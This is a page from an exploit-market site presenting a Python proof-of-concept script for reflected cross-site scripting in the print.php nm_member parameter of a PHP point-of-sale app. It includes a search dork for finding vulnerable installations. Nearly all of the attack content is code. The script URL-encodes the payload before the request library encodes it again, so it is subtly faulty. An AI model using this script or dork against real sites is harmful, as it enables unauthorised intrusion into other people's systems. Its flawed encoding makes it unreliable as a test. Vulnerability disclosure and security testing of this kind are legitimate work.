[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Sales of Cashier Goods v1.0 - Cross Site Scripting Exploit

Author
Amirhossein Bahramizadeh
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-38830
Category
web applications
Date add
04-07-2023
CVE
CVE-2023-36346
Platform
php
# Exploit Title: Sales of Cashier Goods v1.0 - Cross Site Scripting (XSS)
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Dork : /print.php?nm_member=
# Vendor Homepage: https://www.codekop.com/products/source-code-aplikasi-pos-penjualan-barang-kasir-dengan-php-mysql-3.html
# Tested on: Windows/Linux
# CVE : CVE-2023-36346

import requests
import urllib.parse

# Set the target URL and payload
url = "http://example.com/print.php"
payload = "<script>alert('XSS')</script>"

# Encode the payload for URL inclusion
payload = urllib.parse.quote(payload)

# Build the request parameters
params = {
    "nm_member": payload
}

# Send the request and print the response
response = requests.get(url, params=params)
print(response.text)

#  0day.today [2024-10-05]  #